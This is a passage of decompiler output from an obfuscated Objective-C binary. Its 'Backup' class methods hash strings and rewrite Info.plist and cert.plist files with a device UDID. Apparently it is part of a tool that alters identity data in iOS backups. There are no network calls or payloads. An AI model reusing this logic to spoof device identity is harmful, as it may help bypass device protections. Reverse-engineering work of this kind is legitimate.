v12 = -1084816672;
*v42 = v12;
v32 = v11;
}
}
else
{
if ( v35 == 1011089059 )
{
v34 = dword_10029F7F4;
v8 = 701943423;
goto LABEL_101;
}
if ( v35 == 1241657303 )
{
v8 = 152502155;
goto LABEL_101;
}
}
}
else if ( v35 <= 1797231880 )
{
if ( v35 == 1593164510 )
{
objc_release(v38);
v15 = 0;
v8 = -420111742;
v16 = -924592961;
goto LABEL_91;
}
if ( v35 == 1704135992 )
{
LOBYTE(v6) = 64;
v15 = 1;
asc_10029E620[0] = 37;
asc_10029E620[1] = 64;
asc_10029E620[2] = 45;
asc_10029E620[3] = 37;
asc_10029E620[4] = 64;
asc_10029E620[5] = 0;
v40 = -73;
v8 = -985355562;
v16 = -227972032;
goto LABEL_91;
}
}
else
{
switch ( v35 )
{
case 1797231881:
dword_10029F7F4 = 1;
v20 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x90\x14`Mv"),
a3,
a4);
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_retainAutorelease(v21);
v22 = HikariFunctionWrapper_765_0(v21, "UTF8String");
v23 = (unsigned int)HikariFunctionWrapper_767_0(v21, "lengthOfBytesUsingEncoding:");
CC_SHA1(v22, v23, v27);
*v42 = -188829297;
break;
case 1872791018:
v25 = objc_msgSend(v30, v31, 40);
v36 = objc_retainAutoreleasedReturnValue(v25);
v28 = "appendFormat:";
v8 = 2068930616;
goto LABEL_101;
case 2068930616:
*v42 = 1506222876;
v32 = 0;
break;
}
}
}
else if ( v35 <= 368459659 )
{
if ( v35 > 278941804 )
{
if ( v35 == 278941805 )
{
v13 = !v39;
v8 = 471494539;
v14 = 140384747;
goto LABEL_80;
}
if ( v35 == 343494092 )
{
v39 = v34 == 0;
*v42 = 612756766;
}
}
else
{
if ( v35 == 140384747 )
{
v8 = 1704135992;
goto LABEL_101;
}
if ( v35 == 152502155 )
{
objc_autoreleaseReturnValue(v37);
v8 = -866368463;
goto LABEL_101;
}
}
}
else if ( v35 <= 612756765 )
{
if ( v35 == 368459660 )
{
objc_autoreleaseReturnValue(v37);
*v42 = 152502155;
}
else if ( v35 == 471494539 )
{
v13 = 0;
v8 = 1797231881;
v14 = -188829297;
goto LABEL_80;
}
}
else
{
switch ( v35 )
{
case 612756766:
v15 = 1;
v8 = -1804581600;
v16 = -1085182596;
LABEL_91:
if ( v15 )
v8 = v16;
LABEL_101:
*v42 = v8;
break;
case 701943423:
*v42 = 343494092;
break;
case 740099520:
v7 = 1;
v8 = 1872791018;
v9 = 19347403;
goto LABEL_75;
}
}
}
if ( v35 <= -420111743 )
break;
if ( v35 <= -28812493 )
{
if ( v35 > -188829298 )
{
if ( v35 == -188829297 )
{
dword_10029F7F4 = 1;
md = v27;
v17 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x90\x14`Mv"),
a3,
a4);
v38 = objc_retainAutoreleasedReturnValue(v17);
objc_retainAutorelease(v38);
v18 = HikariFunctionWrapper_761_0(v38, "UTF8String");
v19 = (unsigned int)HikariFunctionWrapper_763_0(v38, "lengthOfBytesUsingEncoding:");
CC_SHA1(v18, v19, md);
v13 = 0;
v30 = &OBJC_CLASS___NSMutableString;
v8 = 1797231881;
v14 = 118451243;
LABEL_80:
if ( !v13 )
v8 = v14;
goto LABEL_101;
}
if ( v35 == -75675730 )
*v42 = 1011089059;
}
else if ( v35 == -420111742 )
{
*v42 = 1241657303;
}
else if ( v35 == -227972032 )
{
*v42 = -2134702612;
}
}
else if ( v35 <= 19347402 )
{
if ( v35 == -28812492 )
{
v31 = "stringWithCapacity:";
*v42 = 740099520;
}
else if ( v35 == -22767177 )
{
*v42 = 471494539;
}
}
else
{
switch ( v35 )
{
case 19347403:
v24 = HikariFunctionWrapper_769_0(v30, v31);
objc_retainAutoreleasedReturnValue(v24);
*v42 = 1872791018;
break;
case 24504168:
aY_20[3] = v41 + 0x80;
aY_20[4] = 0;
*v42 = -22767177;
break;
case 118451243:
*v42 = -28812492;
break;
}
}
}
if ( v35 > -1084816673 )
break;
if ( v35 <= -1804581601 )
{
if ( v35 == -2134702612 )
{
aY_20[0] = v40 ^ 0x92;
aY_20[1] = 48;
aY_20[2] = 50;
v41 = -8;
*v42 = -1991920072;
}
else if ( v35 == -1991920072 )
{
LABEL_61:
*v42 = 24504168;
}
}
else
{
switch ( v35 )
{
case -1804581600:
*v42 = -1085182596;
break;
case -1771164083:
v8 = -75675730;
if ( v33 != 1396049840 )
v8 = 1011089059;
goto LABEL_101;
case -1085182596:
v7 = 0;
v8 = -1804581600;
v9 = 278941805;
goto LABEL_75;
}
}
}
if ( v35 > -924592962 )
break;
if ( v35 == -1084816672 )
{
v37 = objc_msgSend(v36, "copy", v6);
objc_release(v36);
*v42 = 1413236602;
}
else if ( v35 == -985355562 )
{
asc_10029E620[0] = 37;
asc_10029E620[1] = 64;
asc_10029E620[2] = 45;
asc_10029E620[3] = 37;
asc_10029E620[4] = 64;
asc_10029E620[5] = 0;
*v42 = 1704135992;
}
}
if ( v35 != -924592961 )
break;
objc_release(v38);
*v42 = 1593164510;
}
if ( v35 == -437491200 )
{
aY_20[3] = v41 + 0x80;
aY_20[4] = 0;
goto LABEL_61;
}
}
while ( v35 != -866368463 );
return v37;
}
// 100251915: bad sp value at call
// 100251732: variable 'v6' is possibly undefined
// 10029E650: using guessed type __CFString cfstr_Y_20;
// 10029E690: using guessed type __CFString stru_10029E690;
// 10029F7F4: using guessed type int dword_10029F7F4;
//----- (0000000100251A3C) ----------------------------------------------------
void __cdecl -[Backup copyAndModifyCertPlistWithUDID:toDirectory:](Backup *self, SEL a2, id a3, id a4)
{
id v6; // rax
bool v7; // zf
int v8; // eax
int v9; // ecx
id v10; // rax
bool v11; // zf
int v12; // ecx
char v13; // cf
char v14; // cf
id v15; // rax
id v16; // rax
int v17; // ecx
id v18; // rax
id v19; // r13
NSString *v20; // rax
int v21; // ecx
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rax
id v28; // rax
NSFileManager *v29; // rax
NSFileManager *v30; // rax
SEL v31; // [rsp+0h] [rbp-C0h] BYREF
const char *v32; // [rsp+8h] [rbp-B8h]
id v33; // [rsp+10h] [rbp-B0h]
SEL v34; // [rsp+18h] [rbp-A8h]
int v35; // [rsp+20h] [rbp-A0h]
int v36; // [rsp+24h] [rbp-9Ch] BYREF
id *v37; // [rsp+28h] [rbp-98h]
id v38; // [rsp+30h] [rbp-90h]
id v39; // [rsp+38h] [rbp-88h]
id v40; // [rsp+40h] [rbp-80h]
id v41; // [rsp+48h] [rbp-78h]
id v42; // [rsp+50h] [rbp-70h]
id v43; // [rsp+58h] [rbp-68h]
id v44; // [rsp+60h] [rbp-60h]
id v45; // [rsp+68h] [rbp-58h]
id *v46; // [rsp+70h] [rbp-50h]
id v47; // [rsp+78h] [rbp-48h]
bool v48; // [rsp+87h] [rbp-39h]
bool v49; // [rsp+88h] [rbp-38h]
bool v50; // [rsp+89h] [rbp-37h]
unsigned __int8 v51; // [rsp+8Ah] [rbp-36h]
bool v52; // [rsp+8Bh] [rbp-35h]
unsigned __int8 v53; // [rsp+8Ch] [rbp-34h]
bool v54; // [rsp+8Dh] [rbp-33h]
char v55; // [rsp+8Eh] [rbp-32h]
char v56; // [rsp+8Fh] [rbp-31h]
int *v57; // [rsp+90h] [rbp-30h]
v35 = dword_10029F7F8;
v36 = -1049029416;
v57 = &v36;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= 341024000 )
{
if ( v36 <= -1100638119 )
{
if ( v36 <= -1789336810 )
{
if ( v36 > -1971138065 )
{
if ( v36 <= -1859358648 )
{
switch ( v36 )
{
case -1971138064:
v11 = 0;
v8 = 2103618527;
v12 = 2140607355;
goto LABEL_297;
case -1964450735:
*v57 = 1027395923;
break;
case -1947121982:
a2 = (SEL)1889274832;
v14 = 1;
v31 = "setObject:forKeyedSubscript:";
v8 = 737208916;
v17 = 389525991;
goto LABEL_281;
}
}
else if ( v36 > -1824726414 )
{
if ( v36 == -1824726413 )
goto LABEL_224;
if ( v36 == -1807279568 )
{
v7 = 0;
v8 = 2082999313;
LABEL_268:
v9 = 22218437;
goto LABEL_293;
}
}
else
{
if ( v36 == -1859358647 )
{
v13 = 0;
v8 = 1168981670;
v21 = 1279700950;
goto LABEL_287;
}
if ( v36 == -1845812769 )
{
a2 = (SEL)4028876182LL;
v13 = 1;
v8 = -613737121;
goto LABEL_234;
}
}
}
else if ( v36 <= -2039998070 )
{
switch ( v36 )
{
case -2141080096:
*v57 = -1807279568;
break;
case -2076636102:
v52 = v51 == 0;
*v57 = 721306718;
break;
case -2058704892:
v8 = -162725021;
goto LABEL_299;
}
}
else if ( v36 > -2019815878 )
{
if ( v36 == -2019815877 )
{
*v57 = -2039998069;
}
else if ( v36 == -1998088682 )
{
a2 = "writeToFile:atomically:";
HikariFunctionWrapper_787_0(v41, "writeToFile:atomically:");
*v57 = -747639042;
}
}
else
{
if ( v36 == -2039998069 )
{
v13 = 1;
v8 = -202142016;
v21 = -2039372826;
goto LABEL_287;
}
if ( v36 == -2039372826 )
{
a1l[48] = v56 ^ 0x57;
a1l[49] = 114;
a1l[50] = 121;
a1l[51] = 68;
a1l[52] = 105;
a1l[53] = 114;
a1l[54] = 58;
a1l[55] = 32;
a1l[56] = 37;
a1l[57] = 64;
a1l[58] = 0;
aE_31[0] = 104;
aE_31[1] = 111;
aE_31[2] = 111;
aE_31[3] = 107;
aE_31[4] = 0;
strcpy(asc_10029E6F0, "Info.plist deleted from TemporaryDir successfully.");
*v57 = -202142016;
}
}
}
else if ( v36 <= -1550361780 )
{
if ( v36 <= -1760629546 )
{
switch ( v36 )
{
case -1789336809:
NSLog(
CFSTR("ߠ\xE3\x28\x3Dp\xF3\xCB\xDC\xE8Z\xF4\x52\x33\x6F0\xB1X\xFF\xE4\x19\xAF\xA7~\xFEw\x1C\x8ETP\x00\x96|\x8Al6\x8D\xDB\x05\x04$I\x9Cm\x11\b\x02~\x1E*"),
a2);
v11 = 0;
v8 = -767325319;
v12 = -2141080096;
goto LABEL_297;
case -1781978204:
a1l[16] = v55;
a1l[17] = 111;
a1l[18] = 32;
a1l[19] = 100;
a1l[20] = 101;
a1l[21] = 108;
a1l[22] = 101;
a1l[23] = 116;
a1l[24] = 101;
a1l[25] = 32;
a1l[26] = 73;
a1l[27] = 110;
a1l[28] = 102;
a1l[29] = 111;
a1l[30] = 46;
a1l[31] = 112;
a1l[32] = 108;
a1l[33] = 105;
a1l[34] = 115;
a1l[35] = 116;
a1l[36] = 32;
a1l[37] = 102;
a1l[38] = 114;
a1l[39] = 111;
a1l[40] = 109;
a1l[41] = 32;
a1l[42] = 84;
a1l[43] = 101;
a1l[44] = 109;
a1l[45] = 112;
a1l[46] = 111;
v14 = 1;
a1l[47] = 114;
v56 = 54;
v8 = -1781978204;
v17 = -2019815877;
goto LABEL_281;
case -1765789142:
a2 = v32;
v7 = (unsigned __int8)HikariFunctionWrapper_779_0(v45, v32) == 0;
v8 = -1971138064;
v9 = -1550361779;
goto LABEL_293;
}
}
else if ( v36 > -1637620647 )
{
if ( v36 == -1637620646 )
{
*v57 = 945263299;
}
else if ( v36 == -1604158676 )
{
*v57 = 1866826380;
}
}
else
{
if ( v36 == -1760629545 )
{
v14 = 0;
v8 = 1579725246;
v17 = -102429026;
goto LABEL_281;
}
if ( v36 == -1742177826 )
*v57 = -1859358647;
}
}
else if ( v36 > -1471652393 )
{
if ( v36 > -1390554346 )
{
if ( v36 == -1390554345 )
{
*v57 = 334334023;
}
else if ( v36 == -1340440692 )
{
v14 = 0;
v8 = -1789336809;
v17 = -767325319;
goto LABEL_281;
}
}
else if ( v36 == -1471652392 )
{
a2 = "defaultManager";
v25 = HikariFunctionWrapper_789_0(&OBJC_CLASS___NSFileManager, "defaultManager");
objc_retainAutoreleasedReturnValue(v25);
*v57 = 1033828902;
}
else if ( v36 == -1403831746 )
{
*v57 = -1765789142;
}
}
else if ( v36 > -1520895722 )
{
if ( v36 == -1520895721 )
{
v14 = 0;
v33 = &OBJC_CLASS___NSMutableDictionary;
v34 = "dictionaryWithContentsOfFile:";
v8 = 1500270210;
v17 = 1210825890;
goto LABEL_281;
}
if ( v36 == -1501569368 )
{
objc_release(v45);
objc_release(v41);
v13 = 1;
v8 = -1548380924;
v21 = -1501569368;
goto LABEL_287;
}
}
else
{
if ( v36 == -1550361779 )
{
v11 = 0;
v8 = 532181252;
v12 = -1501569368;
goto LABEL_297;
}
if ( v36 == -1548380924 )
*v57 = 1091455710;
}
}
else if ( v36 > -724416282 )
{
if ( v36 <= -202142017 )
{
if ( v36 <= -613737122 )
{
switch ( v36 )
{
case -724416281:
a2 = v34;
v27 = objc_msgSend(v33, v34, v47);
v28 = objc_retainAutoreleasedReturnValue(v27);
v49 = v28 == 0;
v14 = 1;
v38 = v28;
v8 = -724416281;
v17 = 342875840;
LABEL_281:
if ( v14 )
v8 = v17;
goto LABEL_299;
case -706142063:
objc_release(v40);
*v57 = 934263079;
break;
case -645883477:
objc_release(v38);
*v57 = -931089411;
break;
}
}
else if ( v36 > -363173014 )
{
if ( v36 == -363173013 )
{
v7 = 0;
v8 = -1947121982;
v9 = 737208916;
goto LABEL_293;
}
if ( v36 == -264802618 )
{
a2 = (SEL)v42;
NSLog(
CFSTR("\xDD\x75=n\xAF\xDF\xEFy\xFB\x16\x8A\xFBp\xF4\x28\x60\x49\x0F\xB0\xA5B>\xAC\xCD\x14V\x8A\x89\x8F"),
v42);
objc_release(v42);
*v57 = -1100638118;
}
}
else
{
if ( v36 == -613737121 )
{
objc_release(v43);
v13 = 1;
v8 = -1964450735;
LABEL_234:
v21 = 1507397289;
LABEL_287:
if ( !v13 )
v8 = v21;
goto LABEL_299;
}
if ( v36 == -422201106 )
{
a2 = "localizedDescription";
v15 = objc_msgSend(v44, "localizedDescription", 445771268);
v16 = objc_retainAutoreleasedReturnValue(v15);
v14 = 0;
v42 = v16;
v8 = 449084272;
v17 = -422201106;
goto LABEL_281;
}
}
}
else if ( v36 > 22218436 )
{
if ( v36 > 274922786 )
{
if ( v36 == 274922787 )
{
LABEL_225:
*v57 = 1501993623;
}
else if ( v36 == 334334023 )
{
v54 = v53 == 0;
v14 = 0;
v8 = -1637620646;
v17 = -1390554345;
goto LABEL_281;
}
}
else if ( v36 == 22218437 )
{
*v57 = 2082999313;
}
else if ( v36 == 137187811 )
{
dword_10029F7F8 = 1;
v37 = (id *)(&v31 - 2);
v46 = (id *)(&v31 - 2);
objc_retain(a3);
objc_retain(a4);
HikariFunctionWrapper_771_0(CFSTR("E\xAE"), CFSTR("\x9B\xFF/\xB2\xCF\x23\xC8\xEE\x13I"));
v18 = HikariFunctionWrapper_773_0();
v19 = objc_retainAutoreleasedReturnValue(v18);
a2 = "stringWithFormat:";
v20 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("t\r\x1C\x98ߧJI\x15]\xB7h\b`"),
v19);
v47 = objc_retainAutoreleasedReturnValue(v20);
objc_release(v19);
*v57 = 371848287;
}
}
else if ( v36 > -102429027 )
{
if ( v36 == -102429026 )
{
*v57 = 1579725246;
}
else if ( v36 == 4897184 )
{
*v57 = 412074734;
}
}
else
{
if ( v36 == -202142016 )
{
a1l[48] = v56 ^ 0x57;
a1l[49] = 114;
a1l[50] = 121;
a1l[51] = 68;
a1l[52] = 105;
a1l[53] = 114;
a1l[54] = 58;
a1l[55] = 32;
a1l[56] = 37;
a1l[57] = 64;
a1l[58] = 0;
aE_31[0] = 104;
aE_31[1] = 111;
aE_31[2] = 111;
aE_31[3] = 107;
aE_31[4] = 0;
strcpy(asc_10029E6F0, "Info.plist deleted from TemporaryDir successfully.");
v7 = 0;
v8 = -999116298;
v9 = -2039372826;
goto LABEL_293;
}
if ( v36 == -162725021 )
{
a2 = "localizedDescription";
v10 = objc_msgSend(v43, "localizedDescription");
v40 = objc_retainAutoreleasedReturnValue(v10);
v8 = -1604158676;
goto LABEL_299;
}
}
}
else if ( v36 <= -864296196 )
{
if ( v36 <= -949967646 )
{
switch ( v36 )
{
case -1100638118:
a2 = (SEL)v42;
NSLog(
CFSTR("\xDD\x75=n\xAF\xDF\xEFy\xFB\x16\x8A\xFBp\xF4\x28\x60\x49\x0F\xB0\xA5B>\xAC\xCD\x14V\x8A\x89\x8F"),
v42);
objc_release(v42);
v14 = 1;
v8 = -264802618;
v17 = 274922787;
goto LABEL_281;
case -1049029416:
v48 = v35 == 0;
*v57 = 979179989;
break;
case -999116298:
*v57 = 137187811;
break;
}
}
else if ( v36 > -898360705 )
{
if ( v36 == -898360704 )
{
v7 = 0;
v8 = -859121215;
v9 = 350384743;
goto LABEL_293;
}
if ( v36 == -886792278 )
*v57 = -1550361779;
}
else if ( v36 == -949967645 )
{
*v57 = 852984247;
}
else if ( v36 == -931089411 )
{
a2 = (SEL)4100232971LL;
v14 = 1;
v8 = 1708381792;
LABEL_245:
v17 = 1559212852;
goto LABEL_281;
}
}
else if ( v36 > -809968351 )
{
if ( v36 > -747639043 )
{
if ( v36 == -747639042 )
{
a2 = "writeToFile:atomically:";
v51 = (unsigned __int8)HikariFunctionWrapper_777_0(v41, "writeToFile:atomically:");
*v57 = 1534635187;
}
else if ( v36 == -731638225 )
{
v13 = 1;
v8 = -864296195;
v21 = -827589917;
goto LABEL_287;
}
}
else
{
if ( v36 == -809968350 )
goto LABEL_178;
if ( v36 == -767325319 )
{
NSLog(
CFSTR("ߠ\xE3\x28\x3Dp\xF3\xCB\xDC\xE8Z\xF4\x52\x33\x6F0\xB1X\xFF\xE4\x19\xAF\xA7~\xFEw\x1C\x8ETP\x00\x96|\x8Al6\x8D\xDB\x05\x04$I\x9Cm\x11\b\x02~\x1E*"),
a2);
*v57 = -1789336809;
}
}
}
else if ( v36 > -859121216 )
{
if ( v36 == -859121215 )
{
v11 = 0;
v32 = "fileExistsAtPath:";
v8 = 350384743;
v12 = -1403831746;
goto LABEL_297;
}
if ( v36 == -827589917 )
*v57 = -731638225;
}
else
{
if ( v36 == -864296195 )
{
v11 = !v52;
v8 = 1501993623;
v12 = 2100297144;
goto LABEL_297;
}
if ( v36 == -862613524 )
{
a2 = v34;
v6 = HikariFunctionWrapper_783_0(v33, v34);
objc_retainAutoreleasedReturnValue(v6);
*v57 = -724416281;
}
}
}
if ( v36 <= 1247148845 )
break;
if ( v36 <= 1664238482 )
{
if ( v36 > 1501993622 )
{
if ( v36 <= 1559212851 )
{
switch ( v36 )
{
case 1501993623:
a2 = (SEL)537241634;
v7 = 0;
v8 = 1033828902;
v9 = -1471652392;
LABEL_293:
if ( v7 )
v8 = v9;
LABEL_299:
*v57 = v8;
break;
case 1507397289:
objc_release(v43);
*v57 = -613737121;
break;
case 1534635187:
*v57 = -2076636102;
break;
}
}
else if ( v36 > 1579725245 )
{
if ( v36 == 1579725246 )
{
*v57 = 4897184;
}
else if ( v36 == 1616620973 )
{
v14 = 1;
v8 = 1616620973;
v17 = 1559607701;
goto LABEL_281;
}
}
else
{
if ( v36 == 1559212852 )
{
objc_release(v47);
objc_release(a4);
objc_release(a3);
v14 = 0;
v8 = -949967645;
goto LABEL_245;
}
if ( v36 == 1559607701 )
{
v11 = !v54;
v8 = -1340440692;
v12 = -2058704892;
goto LABEL_297;
}
}
}
else if ( v36 <= 1323022376 )
{
switch ( v36 )
{
case 1247148846:
objc_release(v44);
*v57 = 1890507732;
break;
case 1253158192:
goto LABEL_225;
case 1279700950:
*v57 = 1324606743;
break;
}
}
else if ( v36 > 1387578243 )
{
if ( v36 == 1387578244 )
{
a2 = (SEL)2942385449LL;
v13 = 0;
v8 = -706142063;
v21 = 934263079;
goto LABEL_287;
}
if ( v36 == 1500270210 )
*v57 = 481812845;
}
else if ( v36 == 1323022377 )
{
a2 = "localizedDescription";
v24 = objc_msgSend(v44, "localizedDescription");
objc_retainAutoreleasedReturnValue(v24);
*v57 = -422201106;
}
else if ( v36 == 1324606743 )
{
*v57 = -645883477;
}
}
else if ( v36 <= 1905686311 )
{
if ( v36 <= 1831736842 )
{
switch ( v36 )
{
case 1664238483:
*v57 = -898360704;
break;
case 1708381792:
objc_release(v47);
objc_release(a4);
objc_release(a3);
*v57 = 1559212852;
break;
case 1777658619:
a2 = (SEL)641763525;
v14 = 1;
v8 = 698877540;
v17 = 455119718;
goto LABEL_281;
}
}
else if ( v36 > 1866826379 )
{
if ( v36 == 1866826380 )
{
a2 = (SEL)v40;
HikariFunctionWrapper_781_0(&cfstr_1l.isa);
*v57 = 1387578244;
}
else if ( v36 == 1890507732 )
{
objc_release(v44);
v13 = 1;
v8 = 593251816;
v21 = 1890507732;
goto LABEL_287;
}
}
else
{
if ( v36 == 1831736843 )
{
v14 = 1;
v8 = -1998088682;
v17 = -747639042;
goto LABEL_281;
}
if ( v36 == 1862946026 )
{
a1l[16] = v55;
a1l[17] = 111;
a1l[18] = 32;
a1l[19] = 100;
a1l[20] = 101;
a1l[21] = 108;
a1l[22] = 101;
a1l[23] = 116;
a1l[24] = 101;
a1l[25] = 32;
a1l[26] = 73;
a1l[27] = 110;
a1l[28] = 102;
a1l[29] = 111;
a1l[30] = 46;
a1l[31] = 112;
a1l[32] = 108;
a1l[33] = 105;
a1l[34] = 115;
a1l[35] = 116;
a1l[36] = 32;
a1l[37] = 102;
a1l[38] = 114;
a1l[39] = 111;
a1l[40] = 109;
a1l[41] = 32;
a1l[42] = 84;
a1l[43] = 101;
a1l[44] = 109;
a1l[45] = 112;
a1l[46] = 111;
a1l[47] = 114;
*v57 = -1781978204;
}
}
}
else if ( v36 > 2082999312 )
{
if ( v36 > 2103618526 )
{
if ( v36 == 2103618527 )
{
*v46 = 0;
a2 = "removeItemAtPath:error:";
objc_msgSend(v45, "removeItemAtPath:error:", v47, v46);
objc_retain(*v46);
*v57 = 2140607355;
}
else if ( v36 == 2140607355 )
{
*v46 = 0;
a2 = "removeItemAtPath:error:";
v53 = (unsigned __int8)objc_msgSend(v45, "removeItemAtPath:error:", v47, v46);
v43 = *v46;
objc_retain(v43);
v14 = 0;
v8 = 1085127431;
v17 = 2140607355;
goto LABEL_281;
}
}
else
{
if ( v36 == 2082999313 )
{
v7 = 0;
v8 = -1824726413;
goto LABEL_268;
}
if ( v36 == 2100297144 )
{
NSLog(
CFSTR("\x95\xE8\x40\x26\x1A\xBF2\xF1\x61\x81\xB2\x8AY\xD4\x2E\xFA\xAC\v|\xD5\xDC|\xBB\xE2\x4E\xEC\xA1\"\xBEh\x93k\x12\x05\x04\xC5\x6Fv\xA9\x00\xEE\x8B\xF2\x97\x857b\xF2\x88\x2C\x31\x0FfDݻz;M-\x19"),
a2);
*v57 = 1253158192;
}
}
}
else if ( v36 > 1982550199 )
{
if ( v36 == 1982550200 )
{
v11 = 0;
v8 = -1390554345;
v12 = 334334023;
goto LABEL_297;
}
if ( v36 == 1982686960 )
{
objc_msgSend(v38, v31, a3, CFSTR("\xA0\xCB\x6DC\x98\xAA\x8EVZF\xCD\x58_44"));
v22 = objc_msgSend(a4, "stringByAppendingPathComponent:", CFSTR("\x9B\xFF/\xB2\xCF\x23\xC8\xEE\x13I"));
v39 = objc_retainAutoreleasedReturnValue(v22);
*v37 = 0;
a2 = "dataWithPropertyList:format:options:error:";
v23 = HikariFunctionWrapper_775_0(
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:");
v41 = objc_retainAutoreleasedReturnValue(v23);
v44 = *v37;
objc_retain(v44);
v50 = v44 == 0;
*v57 = 762449838;
}
}
else if ( v36 == 1905686312 )
{
a2 = "localizedDescription";
v26 = HikariFunctionWrapper_791_0(v43, "localizedDescription");
objc_retainAutoreleasedReturnValue(v26);
*v57 = -162725021;
}
else if ( v36 == 1964327389 )
{
strcpy(asc_10029E8D0, "Error: No se pudo cargar Info.plist");
strcpy(asc_10029E886, "UniqueDeviceID");
strcpy(aT_19, "%@/Info.plist");
strcpy(asc_10029E850, "Error writing cert.plist: %@");
strcpy(asc_10029E91B, "Info.plist");
strcpy(asc_10029E7F0, "Error: Could not save the modified Info.plist to destination");
qmemcpy(a1l, "Warning: Failed ", 16);
v55 = 116;
*v57 = 470346524;
}
}
if ( v36 > 737208915 )
break;
if ( v36 <= 455119717 )
{
if ( v36 <= 371848286 )
{
switch ( v36 )
{
case 341024001:
v13 = 1;
v8 = -422201106;
v21 = 1323022377;
goto LABEL_287;
case 342875840:
v11 = !v49;
v8 = -363173013;
v12 = 1777658619;
goto LABEL_297;
case 350384743:
*v57 = -859121215;
break;
}
}
else if ( v36 > 412074733 )
{
if ( v36 == 412074734 )
{
a2 = (SEL)1616716846;
v13 = 0;
v8 = -264802618;
v21 = -1100638118;
goto LABEL_287;
}
if ( v36 == 449084272 )
*v57 = -1760629545;
}
else
{
if ( v36 == 371848287 )
{
a2 = (SEL)15200399;
v13 = 0;
v8 = 1210825890;
v21 = -1520895721;
goto LABEL_287;
}
if ( v36 == 389525991 )
*v57 = 1982686960;
}
}
else if ( v36 > 532181251 )
{
if ( v36 > 698877539 )
{
if ( v36 == 698877540 )
{
HikariFunctionWrapper_785_0(CFSTR("\xDE\x6F\x8D\x05\xCD\xCA\xC2\x5Ev\x8B!%\xC1\x3C\xEC\xB8\xD6\xAE\x9E@\xAB,\xD0\x13Ñ|\x88\xF6\xBB\xD8\x7F\x10 79"));
*v57 = 455119718;
}
else if ( v36 == 721306718 )
{
a2 = (SEL)1745003554;
v14 = 1;
v8 = -827589917;
v17 = -731638225;
goto LABEL_281;
}
}
else if ( v36 == 532181252 )
{
objc_release(v45);
objc_release(v41);
*v57 = -1501569368;
}
else if ( v36 == 593251816 )
{
*v57 = 503428537;
}
}
else if ( v36 > 481812844 )
{
if ( v36 == 481812845 )
{
a2 = (SEL)111445675;
v13 = 1;
v8 = -724416281;
v21 = -862613524;
goto LABEL_287;
}
if ( v36 == 503428537 )
{
objc_release(v39);
*v57 = -645883477;
}
}
else
{
if ( v36 == 455119718 )
{
NSLog(
CFSTR("\xDE\x6F\x8D\x05\xCD\xCA\xC2\x5Ev\x8B!%\xC1\x3C\xEC\xB8\xD6\xAE\x9E@\xAB,\xD0\x13Ñ|\x88\xF6\xBB\xD8\x7F\x10 79"),
a2);
v14 = 0;
v8 = -1742177826;
v17 = 698877540;
goto LABEL_281;
}
if ( v36 == 470346524 )
{
v7 = 0;
v8 = -1781978204;
v9 = 1862946026;
goto LABEL_293;
}
}
}
if ( v36 <= 1033828901 )
break;
if ( v36 <= 1091455709 )
{
switch ( v36 )
{
case 1033828902:
a2 = "defaultManager";
v29 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v30 = objc_retainAutoreleasedReturnValue(v29);
v11 = 0;
v45 = v30;
v8 = 1033828902;
v12 = 1664238483;
LABEL_297:
if ( !v11 )
v8 = v12;
goto LABEL_299;
case 1040309378:
LABEL_224:
*v57 = -1845812769;
break;
case 1085127431:
*v57 = 1982550200;
break;
}
}
else if ( v36 > 1210825889 )
{
if ( v36 == 1210825890 )
{
*v57 = -1520895721;
}
else if ( v36 == 1232353436 )
{
*v57 = 1616620973;
}
}
else
{
if ( v36 == 1091455710 )
{
v7 = 0;
v8 = 1890507732;
v9 = 1247148846;
goto LABEL_293;
}
if ( v36 == 1168981670 )
*v57 = 1279700950;
}
}
if ( v36 <= 934263078 )
break;
if ( v36 > 979179988 )
{
if ( v36 == 979179989 )
{
v11 = !v48;
v8 = 137187811;
v12 = 1964327389;
goto LABEL_297;
}
if ( v36 == 1027395923 )
LABEL_178:
*v57 = 840647047;
}
else
{
if ( v36 == 934263079 )
{
objc_release(v40);
v7 = 0;
v8 = 1040309378;
v9 = 934263079;
goto LABEL_293;
}
if ( v36 == 945263299 )
{
a2 = (SEL)1401254117;
v11 = 0;
v8 = 1232353436;
v12 = 1616620973;
goto LABEL_297;
}
}
}
if ( v36 > 840647046 )
break;
if ( v36 == 737208916 )
{
*v57 = -1947121982;
}
else if ( v36 == 762449838 )
{
v11 = !v50;
v8 = 341024001;
v12 = 1831736843;
goto LABEL_297;
}
}
if ( v36 == 840647047 )
{
v11 = 0;
v8 = -809968350;
v12 = -886792278;
goto LABEL_297;
}
}
while ( v36 != 852984247 );
}
// 10029E990: using guessed type __CFString cfstr_1l;
// 10029EA90: using guessed type __CFString cfstr_T_19;
// 10029EAD0: using guessed type __CFString stru_10029EAD0;
// 10029EB10: using guessed type __CFString stru_10029EB10;
// 10029EB50: using guessed type __CFString cfstr_E_31;
// 10029F7F8: using guessed type int dword_10029F7F8;
//----- (0000000100255036) ----------------------------------------------------
NSArray *__cdecl -[Backup files](Backup *self, SEL a2)
{
NSArray **p_files; // rdi
int v3; // r11d
NSArray **v5; // [rsp+0h] [rbp-30h]
NSArray *v6; // [rsp+8h] [rbp-28h]
int v7; // [rsp+14h] [rbp-1Ch] BYREF
int *v8; // [rsp+18h] [rbp-18h]
v7 = 1557586210;
v8 = &v7;
p_files = &self->_files;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 658783373 )
{
if ( v7 > 1557586209 )
{
switch ( v7 )
{
case 1685007578:
*v8 = 1488214929;
break;
case 1599524490:
*v8 = 398407833;
break;
case 1557586210:
v3 = 1488214929;
goto LABEL_25;
}
}
else
{
switch ( v7 )
{
case 658783374:
v3 = 398407833;
goto LABEL_25;
case 940353678:
*v8 = 658783374;
break;
case 1488214929:
v5 = p_files;
v3 = 940353678;
goto LABEL_25;
}
}
}
if ( v7 <= 398407832 )
break;
switch ( v7 )
{
case 398407833:
v6 = *v5;
v3 = 486790012;
